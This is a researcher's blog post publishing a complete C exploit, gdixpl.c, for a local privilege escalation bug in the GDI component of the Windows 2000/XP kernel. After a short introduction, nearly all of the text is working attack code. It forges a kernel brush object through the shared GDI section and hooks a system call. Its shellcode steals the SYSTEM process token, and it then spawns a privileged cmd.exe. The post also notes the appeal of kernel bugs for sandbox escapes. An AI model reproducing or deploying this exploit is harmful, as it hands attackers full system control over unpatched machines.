Found another one of my old exploits. This one a Windows kernel exploit from 2006. :)
This also happens to be one of the exploits I demonstrated (but did not release) at BlackHat and DefCon in 2007, in our Kernel Wars talk. It was actually still unpatched when demonstrating it at BlackHat Europe, even though Microsoft had known about it (but did not think it was exploitable) since 2004. More information about that, and a couple of screenshots, can be found at kernelwars.blogspot.com.
In the demonstration I combined it with an exploit for another 0day we had in Office XP / Microsoft Word, to show the real impact of a privilege escalation exploit such as this one. Nowadays, kernel exploits are probably the most convenient way to break out of browser sandboxes such as the one used in Google Chrome, and of course to enable execution of unsigned code in iOS-based devices such as the iPhone and the iPad. Another nice thing about kernel vulnerabilities is that there are usually far fewer exploit mitigation mechanisms in the kernel than in userspace. ;)
gdixpl.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 |
/* * Microsoft Windows kernel GDI local privilege escalation exploit. * * More info about the bug can be found at the following URL: * http://kernelfun.blogspot.com/2006/11/mokb-06-11-2006-microsoft-windows.html * * Compile in Cygwin with: * gcc -o gdixpl gdixpl.c -lntdll -lgdi32 -mno-cygwin * * Copyright (C) Joel Eriksson <je@bitsec.se> 2006 */ #include <windows.h> #include <process.h> #include <tlhelp32.h> #include <stdio.h> typedef ULONG NTSTATUS; #define NT_SUCCESS(x) ((x)>=0) typedef struct __attribute__((packed)) { DWORD pKernelInfo; WORD wProcess; WORD wCount; WORD wUpper; WORD wType; DWORD pUserInfo; } GDITableEntry; /* sizeof(GDITableEntry) == 16 */ #define MAX_GDI_HANDLE ((HANDLE) 0x10000) #define BRUSH_TYPE 16 #define MAKE_DC(Upper, Index) ((((DWORD) Upper) << 16) | Index) #define W2K_PID_SYSTEM 8 #define W2K_OFF_PID 0x9c #define W2K_OFF_FLINK 0xa0 #define W2K_OFF_TOKEN 0x12c #define W2K_SYS_NtGdiDeleteObjectApp 0x1075 #define W2K_SYS_NtUserCloseDesktop 0x1142 #define W2K_MAX_GDI_TABLE_ENTRIES 0x4000 #define WXP_PID_SYSTEM 4 #define WXP_OFF_PID 0x84 #define WXP_OFF_FLINK 0x88 #define WXP_OFF_TOKEN 0xc8 #define WXP_SYS_NtGdiDeleteObjectApp 0x107a #define WXP_SYS_NtUserCloseDesktop 0x114c #define WXP_MAX_GDI_TABLE_ENTRIES 0x10000 static DWORD GetW32pServiceTableAddr(DWORD dwOff, DWORD *pdwOrigSysCall); typedef struct _SECTION_BASIC_INFORMATION { ULONG d000; ULONG SectionAttributes; LARGE_INTEGER SectionSize; } SECTION_BASIC_INFORMATION; NTSTATUS WINAPI NtQuerySystemInformation( DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); NTSTATUS WINAPI NtQuerySection( HANDLE SectionHandle, DWORD SectionInformationClass, PVOID SectionInformation, ULONG SectionInformationLength, PULONG ResultLength ); NTSTATUS NTAPI NtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect ); static DWORD DoSysCall(DWORD dwSysCall, DWORD dwArg) { __asm__( "push %1\n\t" "mov %%esp,%%edx\n\t" "mov %0,%%eax\n\t" "int $0x2e\n\t" "add $4,%%esp" : : "m"(dwSysCall), "m"(dwArg) : "eax", "edx" ); } static BOOL GetOS(PDWORD pdwMajor, PDWORD pdwMinor) { OSVERSIONINFO os; memset(&os, '\0', sizeof(os)); os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if (! GetVersionEx((OSVERSIONINFO *) &os)) return FALSE; *pdwMajor = os.dwMajorVersion; *pdwMinor = os.dwMinorVersion; return TRUE; } int main(int argc, char **argv) { /* * Code to copy the access token from the * System-process to the exploit process. */ char code_payload[] = "\x64" /* mov eax, */ "\xa1\x24\x01\x00\x00" /* [fs:OFF_ETHREAD] */ "\x8b\x40\x44" /* mov eax, [eax+OFF_EPROCESS] */ "\x89\xc1" /* mov ecx, eax */ "\x8b\x80" "XXXX" /* mov eax, [eax+OFF_FLINK] */ "\x2d" "XXXX" /* sub eax, OFF_FLINK */ "\x81\xb8" /* cmp */ "XXXX" /* dword [eax+OFF_PID], */ "XXXX" /* SYSTEM_PID */ "\x75\xe9" /* jnz FindSystemProcess */ "\x8b\x90" "XXXX" /* mov edx, [eax+OFF_TOKEN] */ "\x8b\x81" "XXXX" /* mov eax, [ecx+OFF_TOKEN] */ "\x89\x91" "XXXX" /* mov [ecx+OFF_TOKEN], edx */ "\xc3" /* ret */ ; /* * Code to restore the original process token and the * original value of the overwritten system call. */ char code_restore[] = "\x64" /* mov eax, */ "\xa1\x24\x01\x00\x00" /* [fs:OFF_ETHREAD] */ "\x8b\x40\x44" /* mov eax, [eax+OFF_EPROCESS] */ "\x8b\x4c\x24\x04" /* mov ecx, [esp+4] */ "\x8b\x11" /* mov edx, [ecx] */ "\x89\x90" "XXXX" /* mov [eax+OFF_TOKEN], edx */ "\x8b\x41\x04" /* mov eax, [ecx+4] */ "\x8b\x51\x08" /* mov edx, [ecx+8] */ "\x89\x10" /* mov [eax], edx */ "\xc3" /* ret */ ; DWORD SYS_NtGdiDeleteObjectApp, SYS_NtUserCloseDesktop; DWORD FakeObj[64], dwW32pServiceTable, dwSysCallAddr; SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; DWORD dwMaxGdiTableEntries, dwMinGdiTableSize; DWORD dwMajor, dwMinor, dwOrigKernelInfo; DWORD pid, i, dwOldToken, dwDC, dwAddr; DWORD dwOrigSysCall, pdwArgs[4]; SECTION_BASIC_INFORMATION sec; CHAR szUserName[1024]; LPVOID lpAddr = NULL; GDITableEntry *pGDI; WORD wIdx, wUpr; ULONG ulSize; HANDLE hMap; NTSTATUS rc; HANDLE hBR; CHAR *mem; if (! GetOS(&dwMajor, &dwMinor)) { fprintf(stderr, "Could not determine OS version.\n"); return 1; } if (dwMajor != 5 || dwMinor > 1) { fprintf(stderr, "This exploit is only for W2K and WXP.\n"); return 2; } if (dwMinor == 0) { SYS_NtGdiDeleteObjectApp = W2K_SYS_NtGdiDeleteObjectApp; SYS_NtUserCloseDesktop = W2K_SYS_NtUserCloseDesktop; dwMaxGdiTableEntries = W2K_MAX_GDI_TABLE_ENTRIES; *((PDWORD) &code_payload[13]) = W2K_OFF_FLINK; *((PDWORD) &code_payload[18]) = W2K_OFF_FLINK; *((PDWORD) &code_payload[24]) = W2K_OFF_PID; *((PDWORD) &code_payload[28]) = W2K_PID_SYSTEM; *((PDWORD) &code_payload[36]) = W2K_OFF_TOKEN; *((PDWORD) &code_payload[42]) = W2K_OFF_TOKEN; *((PDWORD) &code_payload[48]) = W2K_OFF_TOKEN; *((PDWORD) &code_restore[17]) = W2K_OFF_TOKEN; } else { SYS_NtGdiDeleteObjectApp = WXP_SYS_NtGdiDeleteObjectApp; SYS_NtUserCloseDesktop = WXP_SYS_NtUserCloseDesktop; dwMaxGdiTableEntries = WXP_MAX_GDI_TABLE_ENTRIES; *((PDWORD) &code_payload[13]) = WXP_OFF_FLINK; *((PDWORD) &code_payload[18]) = WXP_OFF_FLINK; *((PDWORD) &code_payload[24]) = WXP_OFF_PID; *((PDWORD) &code_payload[28]) = WXP_PID_SYSTEM; *((PDWORD) &code_payload[36]) = WXP_OFF_TOKEN; *((PDWORD) &code_payload[42]) = WXP_OFF_TOKEN; *((PDWORD) &code_payload[48]) = WXP_OFF_TOKEN; *((PDWORD) &code_restore[17]) = WXP_OFF_TOKEN; } dwMinGdiTableSize = dwMaxGdiTableEntries * sizeof(GDITableEntry); /* * Determine address to write to. */ fprintf(stderr, "[*] Determining addresses.\n"); dwW32pServiceTable = GetW32pServiceTableAddr( SYS_NtUserCloseDesktop, &dwOrigSysCall ); if (dwW32pServiceTable == 0) { fprintf( stderr, "Could not determine W32pServiceTable address.\n" ); return 3; } dwSysCallAddr = dwW32pServiceTable + (SYS_NtUserCloseDesktop - 0x1000) * 4; fprintf( stderr, "[*] W32pServiceTable : 0x%X\n", (UINT) dwW32pServiceTable ); fprintf( stderr, "[*] &NtUserCloseDesktop : 0x%X\n", (UINT) dwSysCallAddr ); fprintf( stderr, "[*] *0x%08X : 0x%X\n", (UINT) dwSysCallAddr, (UINT) dwOrigSysCall ); /* * Place shellcode @ 0x00000002 */ fprintf(stderr, "[*] Allocating space for shellcode.\n"); pid = GetCurrentProcessId(); dwAddr = 1; ulSize = 0x1000; rc = NtAllocateVirtualMemory( (HANDLE) -1, (PVOID) &dwAddr, 0, &ulSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (! NT_SUCCESS(rc)) { fprintf( stderr, "NtAllocateVirtualMemory() failed. (%d)\n", (int) GetLastError() ); } mem = (CHAR *) 0; memcpy(&mem[2], code_payload, sizeof(code_payload)-1); fprintf(stderr, "[*] Shellcode written to 0x%08X\n", (int) &mem[2]); /* * Must create a GDI object before being able to map the GDI section. */ hBR = CreateSolidBrush(0); wIdx = (WORD) (((DWORD) hBR) & 0xffff); wUpr = (WORD) (((DWORD) hBR) >> 16); /* * Bruteforce the GDI section handle. */ fprintf(stderr, "[*] Bruteforcing the GDI section handle.\n"); for (hMap = (HANDLE) 0; hMap < MAX_GDI_HANDLE; hMap++) { if (lpAddr != NULL) CloseHandle(hMap); lpAddr = MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, 0); if (lpAddr == NULL) continue; rc = NtQuerySection(hMap, 0, &sec, sizeof(sec), 0); if (! NT_SUCCESS(rc)) { fprintf(stderr, "NtQuerySection() failed.\n"); continue; } if (sec.SectionSize.QuadPart < dwMinGdiTableSize) continue; pGDI = (GDITableEntry *) lpAddr; /* * Determine if it's the real GDI section by checking if the * DC handle to the window we created exists and have the * correct values. */ if (pGDI[wIdx].wProcess == pid && pGDI[wIdx].wUpper == wUpr && pGDI[wIdx].wType == BRUSH_TYPE) break; } if (hMap == MAX_GDI_HANDLE) { fprintf(stderr, "GDI section not found!\n"); VirtualFree(mem, 0x1000, MEM_DECOMMIT); return 5; } fprintf( stderr, "[*] Writable GDI section mapped @ 0x%X\n", (UINT) lpAddr ); /* * Make the fake kernelspace brush object. */ memset(FakeObj, '\0', sizeof(FakeObj)); FakeObj[1] = 0xbadc0ded; FakeObj[2] = 1; i = wIdx; /* * Use our brush-object to achieve an overwrite of the address * specified in FakeObj[9] with the value 2. */ FakeObj[0] = dwDC = MAKE_DC(pGDI[i].wUpper, i); /* * Save the original pKernelInfo pointer. */ dwOrigKernelInfo = pGDI[i].pKernelInfo; pGDI[i].pKernelInfo = (DWORD) FakeObj; /* * Temporarily change the pKernelInfo pointer and trigger calls * to bDeleteBrush() by calling NtGdiDeleteObjectApp(), which * will write 0x00000002 to the address specified in FakeObj[9]. */ fprintf( stderr, "[*] Triggering write with 0x00000002 to 0x%08X\n", (UINT) dwSysCallAddr ); FakeObj[9] = dwSysCallAddr; DoSysCall(SYS_NtGdiDeleteObjectApp, dwDC); /* * Restore the original pKernelInfo pointer. */ pGDI[i].pKernelInfo = dwOrigKernelInfo; fprintf(stderr, "[*] NtUserCloseDesktop() hooked!\n"); printf("[*] Calling NtUserCloseDesktop() to execute our shellcode.\n"); dwOldToken = DoSysCall(SYS_NtUserCloseDesktop, 0); printf("[*] Return value = 0x%X\n", (int) dwOldToken); fprintf(stderr, "[*] Executing cmd.exe.\n"); ShellExecute(NULL, "open", "cmd", NULL, ".", SW_SHOWNORMAL); memcpy(&mem[2], code_restore, sizeof(code_restore)-1); fprintf(stderr, "[*] Restore code written to 0x%08x.\n", (int) &mem[2]); pdwArgs[0] = dwOldToken; pdwArgs[1] = dwSysCallAddr; pdwArgs[2] = dwOrigSysCall; fprintf(stderr, "[*] Restoring token and syscalls.\n"); DoSysCall(SYS_NtUserCloseDesktop, (DWORD) pdwArgs); CloseHandle(hMap); VirtualFree(mem, 0x1000, MEM_DECOMMIT); return 0; } static DWORD GetW32pServiceTableAddr(DWORD dwSysCall, DWORD *pdwOrigSysCall) { DWORD dwTextMin, dwTextMax, dwFileSize, dwSize, dwAddr, dwIAT; DWORD dwDataMin, dwDataMax, dwDataSize; DWORD dwInitMin, dwInitMax, dwInitSize; TCHAR lpDir[256], lpFileName[256]; DWORD dwW32pServiceTableAddr; PIMAGE_IMPORT_DESCRIPTOR pid; PIMAGE_OPTIONAL_HEADER poh; PIMAGE_SECTION_HEADER psh; PIMAGE_FILE_HEADER pfh; PDWORD pdwSysCallTable; PIMAGE_THUNK_DATA ptd; PIMAGE_DOS_HEADER pdh; PIMAGE_NT_HEADERS pnh; PBYTE pInit, pData; HANDLE hFile, hMap; DWORD rc, i, j; PBYTE p, pMap; rc = GetEnvironmentVariable("SystemRoot", lpDir, sizeof(lpDir)); if (rc == 0) { fprintf( stderr, "GetEnvironmentVariable() failed. (%d)\n", (int) GetLastError() ); return 0; } memset(lpFileName, '\0', sizeof(lpFileName)); snprintf( lpFileName, sizeof(lpFileName), "%s\\SYSTEM32\\WIN32K.SYS", lpDir ); hFile = CreateFile( lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile == INVALID_HANDLE_VALUE) { fprintf( stderr, "CreateFile() failed. (%d)\n", (int) GetLastError() ); return 0; } dwFileSize = GetFileSize(hFile, NULL); if (dwFileSize == INVALID_FILE_SIZE) { fprintf( stderr, "GetFileSize() failed. (%d)\n", (int) GetLastError() ); CloseHandle(hFile); return 0; } hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (hMap == NULL) { fprintf( stderr, "CreateFileMapping() failed. (%d)\n", (int) GetLastError() ); CloseHandle(hFile); return 0; } pMap = (LPVOID) MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); if (pMap == NULL) { fprintf( stderr, "MapViewOfFile() failed. (%d)\n", (int) GetLastError() ); CloseHandle(hMap); CloseHandle(hFile); return 0; } pdh = (PIMAGE_DOS_HEADER) pMap; if (pdh->e_magic != IMAGE_DOS_SIGNATURE) { fprintf(stderr, "Invalid DOS signature in PE-file.\n"); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } pnh = (PIMAGE_NT_HEADERS) &pMap[pdh->e_lfanew]; if (pnh->Signature != IMAGE_NT_SIGNATURE) { fprintf(stderr, "Invalid NT signature in PE-file.\n"); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } pfh = (PIMAGE_FILE_HEADER) &pMap[pdh->e_lfanew + sizeof(IMAGE_NT_SIGNATURE)]; poh = (PIMAGE_OPTIONAL_HEADER) ((PBYTE) pfh + sizeof(IMAGE_FILE_HEADER)); dwAddr = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] .VirtualAddress; pid = (PIMAGE_IMPORT_DESCRIPTOR) &pMap[dwAddr]; dwSize = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; for (i = 0; i < dwSize / sizeof(pid[0]); i++) { if (pid[i].Name != 0) { ptd = (PIMAGE_THUNK_DATA) &pMap[pid[i].FirstThunk]; for (j = 0; ptd[j].u1.AddressOfData; j++) { DWORD x = ptd[j].u1.AddressOfData + 2; if (! strcmp( &pMap[x], "KeAddSystemServiceTable" )) break; } if (ptd[j].u1.AddressOfData != 0) break; } } if (i == dwSize / sizeof(pid[0])) { fprintf(stderr, "Could not find IAT-entry.\n"); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } dwIAT = poh->ImageBase; dwIAT += pid[i].FirstThunk; dwIAT += j * sizeof(ptd[0]); psh = (PIMAGE_SECTION_HEADER) ((PBYTE) poh + sizeof(IMAGE_OPTIONAL_HEADER)); for (i = j = 0; i < pfh->NumberOfSections && j < 3; i++) { if (! strcmp(psh[i].Name, ".text")) { dwTextMin = poh->ImageBase + psh[i].VirtualAddress; dwTextMax = dwTextMin + psh[i].SizeOfRawData; j++; } if (! strcmp(psh[i].Name, "INIT")) { dwInitMin = poh->ImageBase + psh[i].VirtualAddress; dwInitMax = dwInitMin + psh[i].SizeOfRawData; pInit = &pMap[psh[i].PointerToRawData]; dwInitSize = psh[i].SizeOfRawData; j++; } if (! strcmp(psh[i].Name, ".data")) { dwDataMin = poh->ImageBase + psh[i].VirtualAddress; dwDataMax = dwDataMin + psh[i].SizeOfRawData; pData = &pMap[psh[i].PointerToRawData]; dwDataSize = psh[i].SizeOfRawData; j++; } } if (j != 3) { fprintf(stderr, "Could not locate .data and .text.\n"); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } /* Find the call to KeAddSystemServiceTable */ for (p = pInit; p < &pInit[dwInitSize-6]; p++) if (p[0] == 0xFF && p[1] == 0x15) { DWORD x = *((PDWORD) &p[2]); if (x == dwIAT) break; } if (p == &pInit[dwInitSize-6]) { fprintf( stderr, "Could not find call to KeAddSystemServiceTable.\n" ); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } /* Find the push of W32pServiceTable */ dwW32pServiceTableAddr = 0; p -= 5; while (p > pInit) { if (p[0] == 0x68) { DWORD x = *((PDWORD) &p[1]); if (x >= dwDataMin && x <= dwDataMax) { dwW32pServiceTableAddr = x; break; } } } if (dwW32pServiceTableAddr == 0) { fprintf( stderr, "Could not find push of W32pServiceTableAddr.\n" ); UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return 0; } pdwSysCallTable = (PDWORD) &pMap[dwW32pServiceTableAddr - poh->ImageBase]; *pdwOrigSysCall = pdwSysCallTable[dwSysCall-0x1000]; UnmapViewOfFile(pMap); CloseHandle(hMap); CloseHandle(hFile); return dwW32pServiceTableAddr; } |